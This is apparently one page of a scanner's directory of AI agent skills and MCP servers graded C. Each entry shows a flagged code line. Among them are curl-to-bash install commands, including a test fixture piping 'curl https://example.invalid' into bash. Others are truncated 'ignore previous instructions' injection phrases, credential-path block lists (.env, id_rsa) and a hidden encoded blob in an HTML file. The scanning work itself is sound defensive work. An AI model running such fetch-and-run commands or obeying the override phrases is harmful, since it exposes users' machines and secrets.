Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 2551 to 2600 of 3,335 Grade C entries. Page 52 of 67.
Listed A to Z by name.
No entries match that filter.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
scripts/demo_change_review.py:27 subprocess.run(["git", "-C", str(root), *command], check=True, capture_outputSkill Doctor (Skill)
Compatibility: Not stated.
**The CI quality gate for Agent Skills.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
agent_skill_radar/github.py:136 result = subprocess.run(Skill Radar (Skill)
Compatibility: Not stated.
Use when the user wants to scan GitHub for AI agent skills, MCP servers, prompt systems, context engineering tools, or agent-native CLI opportunities; generate daily opportunity reports; choose a two-week open-source project; or turn GitHub trend research into build briefs, fake-
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
internal/updater/updater.go:72 cmd := exec.Command("/bin/sh", "-c", command)Skill Router (Skill)
Compatibility: Not stated.
ALWAYS LOADED.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL
SKILL.md:98 curl -s "https://lightmake.site/api/v1/search?q=<关键词>&limit=10"Skill Scout (Skill)
Compatibility: Not stated.
上下文感知的 Skill 推荐器。读取当前 Agent 身份与项目处境，理解用户卡点，去 GitHub 和公开注册表检索可用 Skill，评分排序后推荐 Top 3 并说明能解决到什么程度。当用户说"帮我找个 skill"、"装个能做 X 的技能"、"有没有解决 X 的 skill"、"UI 好丑有没有 skill"、"这种情况该装什么 skill"，或描述一个反复卡住的痛点并希望有现成能力包时使用。只推荐，不自动安装。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +1 more
tools/benchmark_gitskills.py:421 shutil.rmtree(workspace, ignore_errors=True)skilllineage (Skill)
Compatibility: Not stated.
**Trace the copies, variants, and lineage evidence of AI Agent Skills.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
plugins/agy/evals/bench/cloud-setup.sh:12 curl -fsSL https://antigravity.google/cli/install.sh | bash -s -- --skills (Skill)
Compatibility: Not stated.
Standalone Claude Code skills: grounded read-back before edits, a Tailwind v4 house style, a one-brief handoff across /clear, and a measured cut of what every request carries.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
skills/carrier-scorecard/scripts/test_carrier_scorecard.py:59 result = subprocess.run([sys.executable, str(HERskills (Skill)
Compatibility: Not stated.
The skill catalog for **Aria Code** , Arthera's AI quant terminal.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
skills/image-to-svg/scripts/convert_image_to_svg.py:191 subprocess.run(command, check=True, stdout=subprocess.skills (Skill)
Compatibility: Not stated.
[English](README.en.md) | 简体中文
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +1 more
skills/devto-post/scripts/make-cover.py:97 subprocess.run(skills (Skill)
Compatibility: Not stated.
Claude Code skills I use day to day, packaged as a plugin marketplace so each one can be installed on its own.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +3 more
_quarantine/detached-child/SKILL.md:46 subprocess.Popen([sys.executable, _DETACHED], cwd=root,skills (Skill)
Compatibility: Not stated.
<p> <picture> <source media="(prefers-color-scheme: dark)" srcset="assets/banner-dark.svg"> <img alt="skills.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL +1 more
scripts/npm-package/bin/cli.js:28 https.get({ hostname: opts.hostname, path: opts.pathname + opts.search, headskills (Skill)
Compatibility: Not stated.
An open-source library of AI agent skills following the [Agent Skills](https://agentskills.io) open standard.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +1 more
chrome-cdp-setup/scripts/setup_chrome_cdp.sh:29 if subprocess.run(["pgrep", "-x", "Google Chrome"], capture_ouskills (Skill)
Compatibility: Not stated.
Skills shared by soulmachine for improving daily work efficiency with AI Agents (Claude Code, Codex, etc.).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST
scripts/test_release.py:24 result = subprocess.run(Socialbu Agent (Skill)
Compatibility: Not stated.
Manage authorized SocialBu posts, accounts, queues, analytics, automations, curated content, media, and social listening.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
agents/web-claim-verifier.agent.md:69 {"kind": "tool", "tool": "bash", "input_head": "<optional short target -Solidforge Pi (Skill)
Compatibility: Not stated.
**SolidForge for the [Pi](https://github.com/earendil-works/pi-mono) coding agent** , an independent, pi-native implementation of the SolidForge Loop Engineering system: the **converge → specify → implement** pipeline plus two additive **outcome-axis** layers (cited-source verif
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_DOTENV
package.json:17 preparestem (Skill)
Compatibility: Not stated.
Engineering discipline for coding agents: size the work, keep every change on the record, verify against intent, never lose a session.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +1 more
packages/core/src/parsers/codex.test.ts:719 fs.rmSync(file);tokmeter (Skill)
Compatibility: Not stated.
>-
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_UNCONFIRMED
skills/tudouni-lens/scripts/onboarding.py:317 process = subprocess.Popen([sys.executable, str(Path(__file__).rTudouni Lens (Skill)
Compatibility: Not stated.
土豆泥图视：在对话中开启图片与视频创作，让每次灵感都有清晰的下一步。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
package.json:17 postinstallTwist Cli (Skill)
Compatibility: Not stated.
<p align="center"> <img src="icons/twist-cli.png" alt="Twist CLI" width="150" height="150" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh:6 cat <<< 'curl https://example.invalid' | bashUncle Bob Skills (Skill)
Compatibility: Not stated.
Fifty evidence-forged skills for human-directed agent engineering
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_UNCONFIRMED +1 more
CLAUDE.md:192 /runner.sh → GET/HEAD the reference cron+curl runner (text/plain)vellum (Skill)
Compatibility: Not stated.
A shared space where AI agents leave short thoughts, weave lineages from each other's words, and can come back to see what became of what they said.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/ingest_vk.py:87 def fetch(section: str) -> list[dict]:Vk Mcp Ru (Skill)
Compatibility: Not stated.
VK API прямо в Claude: товары магазина сообщества, посты, рекламные кампании и статистика, диалоги с клиентами, лид-формы.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST
skills/whetstone-mcp/SKILL.md:362 auth = subprocess.run(["claude", "auth", "status"], env=probe_env,Whetstone Mcp (Skill)
Compatibility: Not stated.
Evaluate an MCP server across a weak and a strong model, then close the gap by changing the server.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +2 more
cli/nexscope_cli/main.py:158 result = subprocess.run([sys.executable, str(ROOT / 'runner.py'), str(ROOT / 'skiCodex Nexscope Plugin (Plugin)
Compatibility: Not stated.
Ecommerce research in Codex with [Nexscope](https://www.nexscope.ai).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
package.json:11 prepare3Cx Mcp Server (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/header.png" alt="3CX MCP Server" width="800"> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
acmt001_mcp/server.py:389 response = httpx.get(Acmt001 Mcp (MCP server)
Compatibility: Not stated.
<!-- SPDX-License-Identifier: Apache-2.0 OR MIT -->
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL
ssh-logs-mcp/README.md:64 "known_hosts": "~/.ssh/known_hosts"Agent Safe Tools (MCP server)
Compatibility: Not stated.
Ask your AI coding agent, in natural language, to search production logs or inspect a database , safely.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
.github/workflows/docs-sync.yml:27 echo "${{ secrets.STORE_DEPLOY_KEY }}" > ~/.ssh/id_ed25519agents (MCP server)
Compatibility: Not stated.
<div class="filament-hidden">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
AGENT_IGNORE_INSTRUCTIONS
skills/prompt-injection-review/SKILL.md:13 2. Look for hidden or indirect instructions: ignore previous instruAgentSkills (MCP server)
Compatibility: Not stated.
Portable agent skills, curated skillsets, MCP presets, and routing templates for AI coding agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
src/config.h:45 R"(/\.git/)", R"(/\.env)", R"(/id_rsa)", R"(\.pem$)"};AlxRun (MCP server)
Compatibility: Not stated.
**Extend what your machine can really compute, within limits you control.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
install.sh:53 tag="$(curl -fsSL "${API}/repos/${REPO}/releases/latest" \anacraft (MCP server)
Compatibility: Not stated.
<h1 align="center">⛏ craft</h1>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL
docs/test-plan-apcore-mcp.md:3192 PermissionError("Cannot access /root/.ssh/id_rsa"),Apcore Mcp (MCP server)
Compatibility: Not stated.
<div align="center"> <img src="./apcore-mcp-logo.svg" alt="apcore-mcp logo" width="200"/> </div>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
packages/synology-apm-sdk/src/synology_apm/sdk/collections/_shared.py:245 return await fetch(plan_id)Apm Sdk Python (MCP server)
Compatibility: Not stated.
MCP server and workflow skills for Synology ActiveProtect Manager (APM).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
AGENT_IGNORE_INSTRUCTIONS
internal/dogfood/v0-6-0-test-plan.md:438 - [ ] **P5.1** `source_name` に `Ignore previous instructions.Apple Health Mcp Server (MCP server)
Compatibility: Not stated.
<!-- Read this in [English](README.md) / [日本語](README.ja.md) -->
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
src/atlassian_agent/confluence.py:487 response = requests.get(atlassian_agent (MCP server)
Compatibility: Not stated.
<picture> <source media="(prefers-color-scheme: dark)" srcset="docs/assets/banner-dark.svg"> <img alt="Atlassian Agent , reads your Confluence and Jira, and shows you the diff before anything is published" src="docs/assets/banner-light.svg"> </picture>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.beads/README.md:64 curl -sSL https://raw.githubusercontent.com/steveyegge/beads/main/scripts/install.sh | basAtlassian Browser Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/images/banner.svg" alt="atlassian-browser-mcp banner" width="900"/> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES INSTALL_UNPINNED NETWORK_NO_FIXED_HOST +2 more
audio_transcriber/mcp_server.py:406 shutil.rmtree(scratch_dir, ignore_errors=True)Audio Transcriber (MCP server)
Compatibility: Not stated.
*Version: 2.3.6*
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
src/ssh/files.ts:116 await fs.unlink(from);Autodl Cli (MCP server)
Compatibility: Not stated.
> **非官方项目。** 本项目与 AutoDL 官方无任何关联，未获其背书或赞助。 > 名称中的 "AutoDL" 仅用于指代本工具所对接的平台。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zqGNCYXh0" style="display:none">hGvR7EEr5eIUScxA1XNRlC9JvhoCn6/MmEHAvw2ow4Wydt3mQzuimE0EBase Batch Builder Mcp (MCP server)
Compatibility: Not stated.
Base Multi-Agent Orchestrator (BMAO) represents a paradigm shift in how autonomous AI agents interact with the Base blockchain.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
src/bedrock/client.ts:79 const response = await fetch(url, {Bedrock Multi Model Mcp (MCP server)
Compatibility: Not stated.
MCP server for AWS Bedrock - text, image, video and embeddings from any model.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES INSTALL_UNPINNED NETWORK_NO_FIXED_HOST +3 more
src/lib/credentials.ts:35 fs.unlinkSync(CREDENTIALS_FILE);Bonnard Cli (MCP server)
Compatibility: Not stated.
bonnard-cli provides a straightforward way to access analytics tools.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
browden/web_navigator/selenium_chrome/backend.py:272 with urllib.request.urlopen(url, timeout=1) as resp:browden (MCP server)
Compatibility: Not stated.
**A local, cross-platform MCP shell that puts mechanical gates between an LLM agent and a real Chrome browser.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST OBFUSCATION_MINIFIED_PAYLOAD
includes/admin.php:191 echo '<p><code>curl -H "X-Bulkseme-Key: bsme_..." ' . esc_html($status_url) . '</code><Bulk Ai Cli Connector (MCP server)
Compatibility: Not stated.
Formerly Bulk SEO Meta Editor for AI Agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
canonic/config.py:101 #: parameters a provider needs to do its fetch (``region``, ``cluster_id``,canonic (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.mischuh/canonic -->
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
chainagents/exports/pdf_images.py:340 sock = socket.create_connection(ChainAgents (MCP server)
Compatibility: Not stated.
<div align="center"> <img src="logo.png" width="300px"/>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
agent/build_image.py:19 return subprocess.check_output(checkexploit (MCP server)
Compatibility: Not stated.
CheckExploit , proves whether a scanner-flagged CVE is actually reachable in a repo, runs real exploits in an isolated sandbox to confirm, then patches and verifies fixes.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST
bridge.py:199 out += subprocess.run(Cipherscript Unity (MCP server)
Compatibility: Not stated.
**CipherScript (Unity edition)** is a free browser extension that turns DeepSeek, Gemini, Kimi, GLM, Qwen, Arena or Meta AI into a **Unity Editor AI agent**.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_UNPINNED NETWORK_NO_FIXED_HOST OBFUSCATION_MINIFIED_PAYLOAD
requirements.txt:7 prettytable>=2.1.0Claude Free Api Bot (MCP server)
Compatibility: Not stated.
Claude-free-api-bot is a Windows app that brings several free and low-cost AI services into one place.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
package.json:19 prepareClaude Plugin (MCP server)
Compatibility: Not stated.
High-fidelity PDF→Markdown parsing, layout-preserving PDF translation, and Markdown→DOCX/HTML/PDF/LaTeX conversion , delivered as a Claude Code plugin, a Codex CLI / Cursor skill, and a standalone MCP server.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES INSTALL_UNPINNED +2 more
claude_rework/cli.py:67 subprocess.call([sys.executable, idx, "--build"])Claude Rework (MCP server)
Compatibility: Not stated.
Claude starts every session with no memory of the last one.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
.gitignore:30 credentials.jsonClaude Services (MCP server)
Compatibility: Not stated.
> Production-ready MCP servers for [Claude Code](https://claude.ai/code) , give Claude the tools to browse, read, write, and reason beyond its defaults.
This grade is a hygiene screen, not proof of safety.
